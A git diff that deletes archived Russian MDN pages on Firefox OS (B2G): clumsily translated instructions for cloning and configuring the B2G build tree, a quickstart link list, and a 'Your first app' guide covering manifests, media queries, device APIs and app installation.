чем вы сможете построить B2G, необходимо клонировать репозиторий и настроить дерево сборки. Эта статья объясняет, как это сделать. </p> -</div> - -<p>В зависимости от вашего интернет-соединения, шаг настройки занимает несколько часов, чтобы скачать файлы, необходимые для построения FirefoxOS (со скоростью загрузки 150 Кбит/сек, загрузка гигабайтов хранилища Android может занять десятки часов). Ожидание не так весело, как дело, так что во время процесса вы можете читать следующую страницу и стартовал конфигурационный скрипт, рассмотрите возможность использования времени в настройке и попробуйте <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator" title="/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator">Firefox OS simulator</a>, начните ознакомление с <a class="vt-p" href="/en-US/docs/Apps" title="/en-US/docs/Apps">Documentation for app developers</a> в том числе проектирование и строительство приложений, или ознакомьтесь с информацией о предстоящих шагах.</p> - -<div class="note"> -<p>Вы можете заниматься посторонними делами, например, пусть с Вами пойдёт друг, чтобы выпить кофе, в то время как работает конфигурация B2G и шаги сборки. Они могут занять немного времени (конфигурация в одиночку занимает около 45 минут, используя высокоскоростное подключение к Интернету, собирается около 30 мин на Core i7 с 8 Гб оперативной памяти).</p> -</div> - -<div class="note"> -<p>Если вы используете OS X, чтобы построить Firefox OS для Flame см <a href="https://developer.mozilla.org/en-US/Firefox_OS/Building_and_installing_Firefox_OS/Building_Firefox_OS_for_flame_on_OSX">Building Firefox OS for flame on OSX</a> MDN-страницы.</p> -</div> - -<h2 id="Клонирование_B2G_хранилища">Клонирование B2G хранилища</h2> - -<p>Первый шаг, прежде чем вы сможете начать свой первый билд, это клонирование репозитория B2G. Вы не получаете весь репозиторий! Вместо этого, Вы получите систему сборки B2G и утилиты настройки. Большая часть реального кода B2G находится в главном Mozilla <a class="vt-p" href="/en-US/docs/Mercurial" title="Mercurial">Mercurial</a> хранилище.</p> - -<p>Чтобы клонировать репозиторий, используйте Git:</p> - -<pre>git clone git://github.com/mozilla-b2g/B2G.git</pre> - -<p>После клонирования (которое должено занять минуту с быстрым подключением), перейдите в каталог B2G:</p> - -<pre>cd B2G -</pre> - -<h2 id="Настройка_B2G_для_вашего_устройства">Настройка B2G для вашего устройства</h2> - -<div class="warning">Важно: Помните, что только устройства под управлением Android 4.0.4 (Ice Cream Sandwich), 4,3 (Jelly Bean) и 4,4 (KitKat) и платформы на их базе поддерживаются (текущей ОС устройства Firefox). Пожалуйста, убедитесь, что ваш телефон на самом деле работает на одной из этих поддерживаемых версий, в противном случае этот шаг, скорее всего, приведет к сбою, так как некоторые вредители вытащили из не-Nexus устройства. Кроме того, если у вас есть, чтобы прошить устройство с соответствующей версией выпуска, имейте в виду, что некоторые узлы USB не работаем хорошо с мигающими инструментов, так что вы, возможно, придется подключить устройство к встроенным USB-портом.</div> - -<div class="warning">Важно: если вы делаете сборку на Ubuntu 12.10 или Fedora, вам нужно будет указать GCC 4.6 как компилятор хоста по умолчанию после извлечения источники B2G, для процесса, чтобы работать (эти дистрибутивы используют GCC 4.7 или более поздней версии по умолчанию). Читать <a class="vt-p" href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">Changing the default host compiler</a> чтобы узнать, как это сделать.</div> - -<div class="note">Примечание: пожалуйста, прочитайте все нижеизложенные инструкции перед запуском любой из команд процесса сборки, чтобы убедиться, что вы делаете правильные для вас действия!</div> - -<p>После того как вы получите ядро системы B2G сборки, необходимо настроить его для устройства, на котором вы планируете установить его. Чтобы получить список поддерживаемых устройств, вы можете использовать утилиту config.sh - выполните следующую команду из каталога, в B2G:</p> - -<pre>./config.sh -</pre> - -<p>Это покажет список поддерживаемых устройств, например, так:</p> - -<pre>Usage: ./config.sh [-cdflnq] (device name) -Flags are passed through to |./repo sync|. - -Valid devices to configure are: -- galaxy-s2 -- galaxy-nexus -- nexus-4 -- nexus-4-kk -- nexus-5 -- nexus-5-l -- nexus-s -- nexus-s-4g -- flo (Nexus 7 2013) -- otoro -- unagi -- inari -- keon -- peak -- hamachi -- helix -- tarako -- dolphin -- dolphin-512 -- pandaboard -- vixen -- flatfish -- flame -- flame-kk -- flame-l -- rpi (Revision B) -- emulator -- emulator-jb -- emulator-kk -- emulator-l -- emulator-x86 -- emulator-x86-jb -- emulator-x86-kk -- emulator-x86-l -> Sony Xperia devices -- aries (Z3 Compact KK) -- aries-l (Z3 Compact L) -- leo-kk (Z3 KK) -- leo-l (Z3 L) -- scorpion-l (Z3 Tablet Compact L) -- sirius-l (Z2 L) -- tianchi-l (T2U L) -- flamingo-l (E3 L)</pre> - -<p>Если ваше устройство отсутствует в списке, вы должны остановиться прямо сейчас, либо помочь проекту B2G портированием OS на Ваше устройство. Также можно подождать, пока кто-то это не сделает. Мы предпочли бы, что бы вы нам помогли!</p> - -<div class="note">Примечание: Вы можете найти имя устройства для вашего телефона на странице <a href="/en-US/Firefox_OS/Phones">Firefox OS Phones</a>.</div> - -<div class="note">Примечание: Настройка и создание B2G для Keon на Mac не работает. Вы должны будете использовать Linux при создании прошивки для этого устройства.</div> - -<div class="note">Примечание: Если по какой-либо причине вы хотите построить против конкретной версии Gecko см <a href="#Строительство_против_обычая_Gecko">Строительство против обычая Gecko</a>, прежде чем продолжить. Если вы хотите построить ветку, кроме по умолчанию для вашего устройства (например, для создания конкретной версии B2G), см <a href="#создание_филиала">создание филиала</a>. Примечание: филиал по умолчанию зависит от устройства и не обязательно ствол.</div> - -<p>Это было бы хорошее время для перерыва на кофе, так как в данный момент, вы будете делать свой первый код, необходимый для создания загрузки Gecko. Запускаем конфигурацию устройства, как показано ниже, это может занять много времени; Вы можете остановить его с помощью Ctrl-C и перезапустить его на более позднее время. Если вы думаете, какая-то часть процесса может быть прекращено без комплектующих, запустите './repo синхронизацию ", чтобы исправить все возможные проблемы.</p> - -<h3 id="Настройка_B2G_построить_для_мобильного_устройства">Настройка B2G построить для мобильного устройства</h3> - -<p>На данный момент, подключите устройство, если оно еще не подключено; В процессе конфигурирования необходимо получить к нему доступ.</p> - -<p>Если ваше устройство было найдено в результатах, показанных выше, вы можете начать процесс настройки с запуска config.sh, на этот раз с указанием имени вашего устройства. Например, чтобы построить для Samsung Google Nexus S, вы должны ввести:</p> - -<pre>./config.sh nexus-s -</pre> - -<div class="note"> -<p>Примечание: Если вы получаете сообщение об ошибке, как:</p> - -<pre class="lang-py prettyprint prettyprinted"><code><span class="typ">UnicodeDecodeError</span><span class="pun">:</span><span class="pln"> </span><span class="str">'ascii'</span><span class="pln"> codec can</span><span class="str">'t decode byte 0xc3 in position 9: ordinal not in range(128)</span></code></pre> - -<p>Это может быть потому, что у вас есть акцент или другие недопустимые символы в указании пути к текущей директории, как '/home/username/T<strong>é</strong>l<strong>é</strong>chargements/B2G/'. Перемещение репо B2G-то еще. Cf. : <a href="http://stackoverflow.com/questions/18049320/repo-init-unicodedecodeerror-on-ubuntu-13-04">http://stackoverflow.com/questions/18049320/repo-init-unicodedecodeerror-on-ubuntu-13-04</a></p> - -<p>На OSX, подобная ошибка может произойти следующим образом:</p> - -<pre><code>File "/Path/to/B2G/.repo/repo/git_refs.py", line 155, in _ReadLoose1 - ref_id = ref_id.decode() -UnicodeDecodeError: 'ascii' codec can't decode byte 0xd0 in position 578: ordinal not in range(128)</code></pre> - -<p>Одна из возможностей Обойти это, выровнять 155 git_refs.py, расположенного по адресу '/Path/to/B2G/.repo/repo' и измененить</p> - -<p><code>ref_id=ref_id.decode() </code>to <code>ref_id=ref_id.decode('latin-1')</code></p> -</div> - -<div class="note">Примечание: Если вы получаете сообщение об ошибке, подобное <code>fatal: manifest 'nexus-s.xml'</code>, есть вероятность, что вы просто должны указать ветвь которую вы хотите использовать. Увидеть <a href="#Building_a_branch">Building a branch</a> Для получения дополнительной информации.</div> - -<div class="note">Примечание: Если шаг конфигурации завершается с сообщением об ошибке, как <code>error: manifest required for this command -- </code>запустите Init, то изменения в том, что файл манифеста для репо (расположен в <code>B2G/.repo/manifest.xml</code>) не была успешно создан. Вы должны попробовать ход <code>config.sh</code> again. Если вы делаете это для нового устройства можно добавить его в <code>config.sh</code> а затем передать его в местное файл манифеста, как так:<br> -<code>./config.sh <device> -m path/to/manifest.</code></div> - -<p>Рядом с начала конфигурации, вам может понадобиться установить вашу личность (та, что используется Git), а также возможность для использования цвета. После этого продолжается процесс. Для выбора цвета, вы можете просто выбрать "Y" здесь, как вы, вероятно, хотите цвет, сборку.</p> - -<div class="note"> -<p>Примечание: это возможно для <code>config.sh </code>приводит к неудаче с Git ошибки, связанные с кокетливыми, таких как следующие :</p> - -<p><code>Fetching projects: 95% (118/124)<br> - error: Exited sync due to fetch errors</code></p> - -<p>Это, кажется, быть вызвано ошибкой подключения на Android исходного репозитория репо. В этом случае, вам нужно будет перезапустить <code>config.sh</code>. Через некоторое время, он автоматически возобновит где она была прервана. Возможно, вам придется сделать, чтобы это несколько раз, пока, наконец, не получает всех проектов.</p> -</div> - -<h3 id="Настройка_сборки_с_помощью_резервной_копии_системы">Настройка сборки с помощью резервной копии системы</h3> - -<p>Если Ваш телефон уже не имеет Android на нем, и ваш B2G дерево не двоичные капли в нем, но вы мудро <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition" title="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition">made a backup of the <code>/system</code> partition</a>, Вы можете выполнить сборку на системы резервного копирования, как это:</p> - -<pre>ANDROIDFS_DIR=<absolute path to parent dir of system dir> ./config.sh <target> -</pre> - -<p>Система сборки по умолчанию будет смотреть в где-нибудь как резервного копирования Инари / системы (в зависимости от конфигурации устройства); если вы поместите файлы в ожидаемом месте вам не нужно будет указать каталог.</p> - -<p>Обратите внимание, что если ваш телефон всегда был Firefox OS на нее, чтобы начать, и не бежал Android, это все-таки хорошо, чтобы вытащить / системный раздел по указанному выше направлениях - это даст вам нужные файлы.</p> - -<h3 id="sect1"> </h3> - -<p>Настройка B2G построить для эмулятораIf вы хотите построить эмулятор, а не на реальном телефоне, вы можете указать эмулятор *, чтобы получить эмулятор устройства ARM, или эмулятор-x86 * построить эмулятор x86. Последнее происходит быстрее, но не точным представлением фактического мобильном устройстве и не так хорошо поддерживается; использовать его не рекомендуется.</p> - -<p> </p> - -<p>Таким образом, чтобы построить ARM Jellybean эмулятор, например, можно использовать следующую команду:</p> - -<pre>./config.sh emulator-jb -</pre> - -<p>Рядом с начала конфигурации вам может понадобиться установить опцию для цветной печати, то после этого продолжает процесс. Вы можете просто выбрать "Y" здесь, как вы, вероятно, хотите цвет, сборку.</p> - -<p>К этому моменту вы должны быть готовы к <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Building" title="Mozilla/Firefox_OS/Building">start the build</a>, если вы не нуждаетесь ни в более продвинутой информации, указанного ниже.</p> - -<p>Помните, что здание для эмулятора может не на 64-битной Linux.</p> - -<div class="note">Примечание: Разработчики на Mac OS X 10.9 или выше, чтобы перейти к эмулятора-JB или эмуляторе-KK, а не, потому что основаны AOSP ICS эмулятор не может быть построен на Mac OS X 10.9. Увидеть <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Requirements_for_Mac_OS_X" title="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Requirements_for_Mac_OS_X">Requirements for Mac OS X</a> для получения дополнительной информации.</div> - -<h2 id="Строительство_против_обычая_Gecko">Строительство против обычая Gecko</h2> - -<p>Там могут быть случаи, что вы хотите или должны создавать загрузочные для Gecko на основе другой версии Gecko, чем тот, который используется по умолчанию (как указано в манифесте). Вы можете сделать это, отредактировав файл <code>.userconfig</code>. Например, если вы хотите построить на Mozilla Центрально-:</p> - -<pre>export GECKO_PATH=/path/to/mozilla-central -export GECKO_OBJDIR=/path/to/mozilla-central/objdir-gonk -</pre> - -<div class="note"> -<p>Примечание: в случае построения против обычая Gecko в Mac OS X, каталог Mozilla центральной должен быть в случае чувствительной файловой системы.<br> - </p> -</div> - -<p id="Building_a_branch">Обратите внимание, что вы можете сделать это либо перед тянуть хранилище (т.е. до <code>config.sh</code> шаг выше) или в любой последующий момент. Вы также можете сохранить несколько вариантов сборки (с отладкой или нет, и т.д.), имея несколько файлов UserConfig (с разными настройками - каждый нуждается в другом OBJDIR, конечно), и делает .userconfig символическую ссылку, указывающую на какой конфигурации вы хотите построить сейчас.</p> - -<p>Для получения более подробной информации ознакомьтесь с <a class="vt-p" href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_Gecko_source_tree" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_Gecko_source_tree">Changing the Gecko source tree</a>.</p> - -<h2 id="Построение_филиал">Построение филиал</h2> - -<p>Если вы хотите построить для филиала, кроме ветви по умолчанию (обратите внимание: филиал по умолчанию не может быть "мастером"!), Вам нужно будет префикс ваш звонок config.sh с именем ветви, например, так:</p> - -<pre>BRANCH=branch-name ./config.sh <device></pre> - -<p>Имена отраслевые довольно логичны, и в значительной степени следовать имена товары / версиях, так что <code>v1-train</code>, <code>v1.0.0</code>, <code>v1.0.1</code>, <code>v1.1</code>, <code>v1.1.0hd</code>, <code>v1.2, v1.3, v1.4, v2.0</code> и так далее в будущем. В качестве примера, чтобы построить B2G Firefox 1.2, для себя эмулятор ARM, нужно ввести</p> - -<pre>BRANCH=v1.2 ./config.sh emulator</pre> - -<p>Если вы столкнулись config.sh уже можно увидеть имена филиалов, перейдя <code>B2G/.repo/manifests</code> и делать "<code>git branch -a</code>" (Это не заполняется Унти тогда.) <strong>Название ветвь приведены в качестве конечного маркера на линии, e.g. "<code>v1-train</code>" or "<code>master</code>"</strong>:</p> - -<pre> remotes/origin/master - remotes/origin/v1-train - remotes/origin/v1.0.0 - remotes/origin/v1.0.1</pre> - -<p>Увидеть <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file" title="Mozilla/Firefox_OS/Customization_with_the_.userconfig_file">Customization with the .userconfig file</a> для дополнительных настроек вы можете сделать.</p> - -<h2 id="Копирование_B2G_дерево_на_новую_машину">Копирование B2G дерево на новую машину</h2> - -<p>Если вы ранее создали B2G дерево, а затем получил новый компьютер (вам повезло!), Вы найдете вашу жизнь будет намного легче, если вы просто перенести всю вашу B2G дерево со старого компьютера на новый, а чем установка все это снова. Чтобы сделать это, установите диск вашего старого компьютера на новый компьютер, то сделать это:</p> - -<pre>rsync -a <em>source</em>/ <em>dest</em>/ -</pre> - -<p>Где источник полный путь (включая слэш) исходного дерева, и приемник, где вы хотите, чтобы положить ее (косая черта также важно!).</p> - -<div class="note">Примечание: При копировании файлов с компьютера другую платформу обеспечения для запуска '<em>./build.sh </em>clean ", прежде чем начать процесс сборки. Если вы этого не сделаете это, вы можете столкнуться с проблемами компиляции.</div> - -<p>Если вы сделаете это, вы можете пропустить все остальной части этой статьи и перейти прямо к <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Building" title="Mozilla/Firefox_OS/Building">building</a>.</p> - -<h2 id="Обновление_B2G_дерево">Обновление B2G дерево</h2> - -<p>Когда хранилище обновляется до новой версии B2G, вы хотите, чтобы обновить B2G дерево. Чтобы сделать это, вы можете выполнить следующие команды:</p> - -<pre>git fetch origin -git checkout origin/master</pre> - -<p>Вы можете проверить, что это работает правильно, запустив:</p> - -<pre>git show HEAD</pre> - -<p>и убедившись, что фиксация показано соответствует последний коммит показано на: <a class="vt-p" href="https://github.com/mozilla-b2g/B2G/commits/master" title="https://github.com/mozilla-b2g/B2G/commits/master">https://github.com/mozilla-b2g/B2G/commits/master</a></p> - -<h2 id="Переходим_к_следующему_шагу">Переходим к следующему шагу</h2> - -<p>На данный момент, вы должны быть готовы к <a href="/en-US/Firefox_OS/Building">Building Firefox OS [en-US]</a>.</p> diff --git a/files/ru/archive/b2g_os/quickstart/index.html b/files/ru/archive/b2g_os/quickstart/index.html deleted file mode 100644 index a5bb4fa406..0000000000 --- a/files/ru/archive/b2g_os/quickstart/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Build -slug: Archive/B2G_OS/Quickstart -tags: - - Apps - - NeedsTranslation - - Quickstart - - TopicStub -translation_of: Archive/B2G_OS/Quickstart ---- -<div class="summary"> - <p><span class="seoSummary">Quickstart information on coding open web apps.</span></p> -</div> -<dl> - <dt> - <a href="/en-US/docs/Web/Apps/Quickstart/Build/Intro_to_open_web_apps">Introduction to open web apps</a></dt> - <dd> - What are open web apps? How they differ from regular web pages? Why is this significant? This article aims to answer these questions and more.</dd> - <dt> - <a href="/en-US/docs/Web/Apps/Quickstart/Build/Your_first_app">Your first app</a></dt> - <dd> - This article takes you through the basic steps and additional knowledge on top of regular web development required to create installable open web apps.</dd> - <dt> - <a href="/en-US/docs/Web/Apps/Quickstart/Build/Intro_to_Firefox_OS">Introduction to Firefox OS</a></dt> - <dd> - An introduction to Firefox OS, Mozilla's new open web app-based mobile platform.</dd> - <dt> - <a href="/en-US/docs/Web/Apps/Quickstart/Build/Intro_to_manifests">Introduction to manifests</a></dt> - <dd> - An FAQ designed to answer any questions you may have about manifests, hosting apps, origins, and other such topics.</dd> - <dt> - <a href="/en-US/docs/Web/Apps/Quickstart/Build/For_Web_developers">App development for web developers</a></dt> - <dd> - If you're a web developer, how do open web apps differ from what you're used to? This article explains all.</dd> - <dt> - <a href="/en-US/docs/Web/Apps/Quickstart/Build/For_mobile_developers">App development for mobile developers</a></dt> - <dd> - If you're a native mobile application developer, what advantages can open web apps bring to you, and how do they differ from what you are used to? Here are some ideas.</dd> - <dt> - <a href="/en-US/docs/Web/Apps/Quickstart/Build/Developing_app_functionality">Developing app functionality</a></dt> - <dd> - This page talks about the kinds of different functionality that you might want to build into your apps, with links to further information.</dd> - <dt> - <a href="/en-US/docs/Web/Apps/Quickstart/Build/Payments">Payments</a></dt> - <dd> - How do you build functionality to make people pay for installing your open web apps? Here is the lowdown.</dd> - <dt> - <a href="/en-US/docs/Web/Apps/Quickstart/Build/App_tools">App tools</a></dt> - <dd> - Last for this section, we provide some links to more information on the tools available to help you develop great open web apps.</dd> -</dl> diff --git a/files/ru/archive/b2g_os/quickstart/your_first_app/index.html b/files/ru/archive/b2g_os/quickstart/your_first_app/index.html deleted file mode 100644 index ed0da26923..0000000000 --- a/files/ru/archive/b2g_os/quickstart/your_first_app/index.html +++ /dev/null @@ -1,267 +0,0 @@ ---- -title: Ваше первое приложение -slug: Archive/B2G_OS/Quickstart/Your_first_app -tags: - - Начальный - - Приложение - - Руководство -translation_of: Archive/B2G_OS/Quickstart/Your_first_app ---- -<div class="note"> -<p><strong>Примечание</strong>: раздел Быстрый старт был обновлен <a href="/en-US/Apps/Quickstart">новой, более целенаправленной статьей Быстрого старта</a>, которая заменяет все предыдущие статьи. Мы надеемся, что вы считаете это более удобным, и ускоренным опытом обучения, чем предыдущие серии статей.</p> -</div> - -<article class="brush: js"> -<div class="summary"> -<p>Открытые веб-приложения дают веб-разработчикам именно то, что они хотели годами: кросс-платформенная среда, посвященная инсталлируемым приложениям, созданным с помощью HTML, CSS и JavaScript - в Firefox OS является первым специализированным открытым веб приложением платформы. Это руководство стремится достучаться до вас и работать быстро с базовой архитектурой и инструкцией по сборке, так что вы сможете создать последующее отличное приложение!</p> -</div> - -<p>.Если вы хотели бы работать вместе с этим руководством, вы можете <a href="https://github.com/chrisdavidmills/mdn-app-template">скачать наш быстрый шаблон</a> запуска приложения. Найти больше о том, что он содержит, читая наш путеводитель <a href="/en-US/docs/Project:MDN/Style_guide/Sample_app_coding_guidelines#Apps_template">приложения шаблона</a>.</p> - -<h2 id="Структура_приложения">Структура приложения</h2> - -<h3 id="Пакетные_и_Размещенные_приложения">Пакетные и Размещенные приложения</h3> - -<p>Есть два типа открытых веб-приложений: пакетные и размещенные. Пакетные приложения, по сути, сжатые файлы, содержащие все компоненты приложения: HTML, CSS, JavaScript, изображения, подписи и т.д. Размещаемые приложения запускаются с сервера в заданном домене, так же, как стандартный веб-сайт. Оба типа приложений требуют действительные подписи. Когда приходит время, чтобы перенести свои приложения на Firefox Marketplace, вы либо загрузружаете свое приложение в виде сжатого файла или предоставляете URL, где размещается действующее приложений. </p> - -<div style="width: 480px; margin: 0 auto;"> -<p><iframe frameborder="0" height="270" src="https://www.youtube.com/embed/Q7x-B13y33Q/?feature=player_detailpage" width="480"></iframe></p> - -<div class="video-caption"> -<p>Сделано в сотрудничестве с Treehouse: <a class="button" href="http://teamtreehouse.com/?cid=1154">Проверьте их!</a></p> -</div> -</div> - -<div>Цель данного руководства - создание размещенного приложения, которое будет жить на вашем локальном адресе. После того, как ваше приложение будет готово к переносу на Firefox Marketplace, вы можете принять решение сделать его пакетным приложенкм или запускать его в качестве размещенного приложения. </div> - -<div> </div> - -<h3 id="Подпись_приложения">Подпись приложения</h3> - -<p><span style="line-height: 1.5;">Каждое Firefox приложение требует файл </span><a href="/en-US/docs/Web/Apps/Manifest" style="line-height: 1.5;">manifest.webapp</a><span style="line-height: 1.5;"> в корне. Файл manifest.webapp предоставляет важную информацию о приложении, например, версию, имя, описание, значка расположение, языковые стандарты, домены, приложение может быть установлено из, и многое другое. Только название и описание не требуется. Простые подписи включены в шаблоне приложения и похоже на следующее:</span></p> - -<pre class="brush: js">{ - "version": "0.1", - "name": "Open Web App", - "description": "Your new awesome Open Web App", - "launch_path": "/app-template/index.html", - "icons": { - "16": "/app-template/app-icons/icon-16.png", - "48": "/app-template/app-icons/icon-48.png", - "128": "/app-template/app-icons/icon-128.png" - }, - "developer": { - "name": "Your Name", - "url": "http://yourawesomeapp.com" - }, - "locales": { - "es": { - "description": "Su nueva aplicación impresionante Open Web", - "developer": { - "url": "http://yourawesomeapp.com" - } - }, - "it": { - "description": "La tua nuova fantastica Open Web App", - "developer": { - "url": "http://yourawesomeapp.com" - } - } - }, - "default_locale": "en" -}</pre> - -<div style="width: 480px; margin: 0 auto;"> -<p><iframe frameborder="0" height="270" src="https://www.youtube.com/embed/dgAUgHQOm8M#t/?feature=player_detailpage" width="480"></iframe></p> - -<div class="video-caption"> -<p>Сделано в сотрудничестве с Treehouse: <a class="button" href="http://teamtreehouse.com/?cid=1154">ПРОВЕРЬТЕ ИХ!</a></p> -</div> -</div> - -<p> </p> - -<p><span style="line-height: 1.5;">Базовая подпись – все, что нужно, чтобы начать работу. Для более подробной информации о подписи, прочитайте </span><a href="/en-US/docs/Web/Apps/Manifest" style="line-height: 1.5;">Подпись приложения</a><span style="line-height: 1.5;"> .</span></p> - -<h2 id="Макет_Дизайн_приложения">Макет & Дизайн приложения</h2> - -<p><span style="line-height: 1.5;">Отзывчивый дизайн становится все более важным, поскольку большое разрешение экрана становятся стандартом для различных устройств. Даже если главная цель вашего приложения является направленной на мобильные платформы, такие как Firefox OS, другие устройства, скорее всего, также имеют доступ к нему. </span><a href="//developer.mozilla.org/docs/CSS/Media_queries" style="line-height: 1.5;">CSS медиа запросы</a><span style="line-height: 1.5;"> позволяют вам адаптировать макет для устройства, как показано в этом примере скелет CSS:</span></p> - -<pre class="brush: css">/* The following are examples of different CSS media queries */ - -/* Basic desktop/screen width sniff */ -@media only screen and (min-width : 1224px) { - /* styles */ -} - -/* Traditional iPhone width */ -@media - only screen and (-webkit-min-device-pixel-ratio : 1.5), - only screen and (min-device-pixel-ratio : 1.5) { - /* styles */ -} - -/* Device settings at different orientations */ -@media screen and (orientation:portrait) { - /* styles */ -} -@media screen and (orientation:landscape) { - /* styles */ -}</pre> - -<p>There are many JavaScript and CSS frameworks available to aid in responsive design and mobile app development (<a href="http://twitter.github.com/bootstrap">Bootstrap</a>, etc.) Choose the framework(s) that best fit your app and development style.</p> - -<h2 id="Web_APIs">Web APIs</h2> - -<p>JavaScript APIs are being created and enhanced as quickly as devices are. Mozilla's <a href="https://wiki.mozilla.org/WebAPI">WebAPI</a> effort brings dozens of standard mobile features to JavaScript APIs. A list of device support and status is available on the <a href="https://wiki.mozilla.org/WebAPI">WebAPI</a> page. JavaScript feature detection is still the best practice, as shown in the following example:</p> - -<pre class="brush: js">// If this device supports the vibrate API... -if('vibrate' in navigator) { - // ... vibrate for a second - navigator.vibrate(1000); -}</pre> - -<p>In the following example, the display style of a <code><div></code> is modified based on changes in the battery state of the device:</p> - -<pre class="brush: javascript">// Create the battery indicator listeners -(function() { - var battery = navigator.battery || navigator.mozBattery || navigator.webkitBattery, - indicator, indicatorPercentage; - - if(battery) { - indicator = document.getElementById('indicator'), - indicatorPercentage = document.getElementById('indicator-percentage'); - - // Set listeners for changes - battery.addEventListener('chargingchange', updateBattery); - battery.addEventListener('levelchange', updateBattery); - - // Update immediately - updateBattery(); - } - - function updateBattery() { - // Update percentage width and text - var level = (battery.level * 100) + '%'; - indicatorPercentage.style.width = level; - indicatorPercentage.innerHTML = 'Battery: ' + level; - // Update charging status - indicator.className = battery.charging ? 'charging' : ''; - } -})();</pre> - -<p>In the code sample above, once you confirm that the <a href="https://developer.mozilla.org/en-US/docs/DOM/window.navigator.battery">Battery API</a> is supported, you can add event listeners for <code>chargingchange</code> and <code>levelchange</code> to update the element's display. Try adding the following to the quickstart template, and see if you can get it working.</p> - -<p>Check the <a href="https://wiki.mozilla.org/WebAPI">WebAPI</a> page frequently to keep up to date with device API statuses.</p> - -<h3 id="Install_API_functionality">Install API functionality</h3> - -<p>In our sample quickstart app template, we've implemented an install button that you can click when viewing the app as a standard Web page, to install that site on Firefox OS as an app. The button markup is nothing special:</p> - -<pre class="brush: html"><button id="install-btn">Install app</button></pre> - -<p>This button's functionality is implemented using the Install API (see install.js):</p> - -<pre class="brush: js">var manifest_url = location.href + 'manifest.webapp'; - -function install(ev) { - ev.preventDefault(); - // define the manifest URL - // install the app - var installLocFind = navigator.mozApps.install(manifest_url); - installLocFind.onsuccess = function(data) { - // App is installed, do something - }; - installLocFind.onerror = function() { - // App wasn't installed, info is in - // installapp.error.name - alert(installLocFind.error.name); - }; -}; - -// get a reference to the button and call install() on click if the app isn't already installed. If it is, hide the button. -var button = document.getElementById('install-btn'); - -var installCheck = navigator.mozApps.checkInstalled(manifest_url); - -installCheck.onsuccess = function() { - if(installCheck.result) { - button.style.display = "none"; - } else { - button.addEventListener('click', install, false); - }; -}; -</pre> - -<p>Let's run through briefly what is going on:</p> - -<ol> - <li>We get a reference to the install button and store it in the variable <code>button</code>.</li> - <li>We use <code>navigator.mozApps.checkInstalled</code> to check whether the app defined by the manifest at <code>http://people.mozilla.com/~cmills/location-finder/manifest.webapp</code> is already installed on the device. This test is stored in the variable <code>installCheck</code>.</li> - <li>When the test is successfully carried out, its success event is fired, therefore <code>installCheck.onsuccess = function() { ... }</code> is run.</li> - <li>We then test for the existence of <code>installCheck.result</code> using an <code>if</code> statement. If it does exist, meaning that the app is installed, we hide the button. An install button isn't needed if it is already installed.</li> - <li>If the app isn't installed, we add a click event listener to the button, so the <code>install()</code> function is run when the button is clicked.</li> - <li>When the button is clicked and the <code>install()</code> function is run, we store the manifest file location in a variable called <code>manifest_url</code>, and then install the app using <code>navigator.mozApps.install(manifest_url)</code>, storing a reference to that installation in the <code>installLocFind</code> variable. You'll notice that this installation also fires success and error events, so you can run actions dependent on whether the install happened successfully or not.</li> -</ol> - -<p>You may want to verify the <a href="/en-US/docs/Web/Apps/JavaScript_API">implementation state of the API</a> when first coming to Installable web apps.</p> - -<div class="note"> -<p>Note: Installable open web apps have a "single app per origin" security policy; basically, you can't host more than one installable app per origin. This makes testing a bit more tricky, but there are still ways around this, such as creating different sub-domains for apps, testing them using the Firefox OS Simulator, or testing the install functionality on Firefox Aurora/Nightly, which allows you to install installable web apps on the desktop. See <a href="/en-US/docs/Web/Apps/FAQs/About_app_manifests">FAQs about apps manifests</a> for more information on origins.</p> -</div> - -<h2 id="WebRT_APIs_(Permissions-based_APIs)">WebRT APIs (Permissions-based APIs)</h2> - -<p>There are a number of WebAPIs that are available but require permissions for that specific feature to be enabled. Apps may register permission requests within the <code>manifest.webapp</code> file like so:</p> - -<pre class="brush: js">// New key in the manifest: "permissions" -// Request access to any number of APIs -// Here we request permissions to the systemXHR API -"permissions": { - "systemXHR": {} -}</pre> - -<p>The three levels of permission are as follows:</p> - -<ul> - <li>Normal — APIs that don't need any kind of special access permissions.</li> - <li>Privileged — APIs available to developers to use in their applications, as long as they set access permissions in the app manifest files, and distribute them through a trusted source.</li> - <li>Certified — APIs that control critical functions on a device, such as the call dialer and messaging services. These are generally not available for third party developers to use.</li> -</ul> - -<p>For more information on app permission levels, read <a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Packaged_apps#Types_of_packaged_apps" title="/en-US/docs/Web/Apps/Packaged_apps#Types_of_packaged_apps">Types of packaged apps</a>. You can find out more information about what APIs require permissions, and what permissions are required, at <a href="/en-US/docs/Web/Apps/App_permissions">App permissions</a>.</p> - -<div class="note"> -<p>It's important to note that not all Web APIs have been implemented within the Firefox OS Simulator.</p> -</div> - -<h2 id="Tools_Testing">Tools & Testing</h2> - -<p>Testing is incredibly important when supporting mobile devices. There are many options for testing installable open web apps.</p> - -<h3 id="WebIDE_with_Firefox_OS_Simulator">WebIDE with Firefox OS Simulator</h3> - -<p>The new kid on the block with regards to testing tools is called <a href="/en-US/docs/Tools/WebIDE">WebIDE</a>. This tool allows you to connect desktop Firefox to a compatible device via USB (or a Firefox OS simulator), push apps straight to the device, validate apps, and debug them as they run on the device.</p> - -<h3 id="Unit_Testing">Unit Testing</h3> - -<p>Unit tests are extremely valuable when testing on different devices and builds. jQuery's <a href="http://qunitjs.com">QUnit</a> is a popular client-side testing utility, but you can use any set of testing tools you'd like.</p> 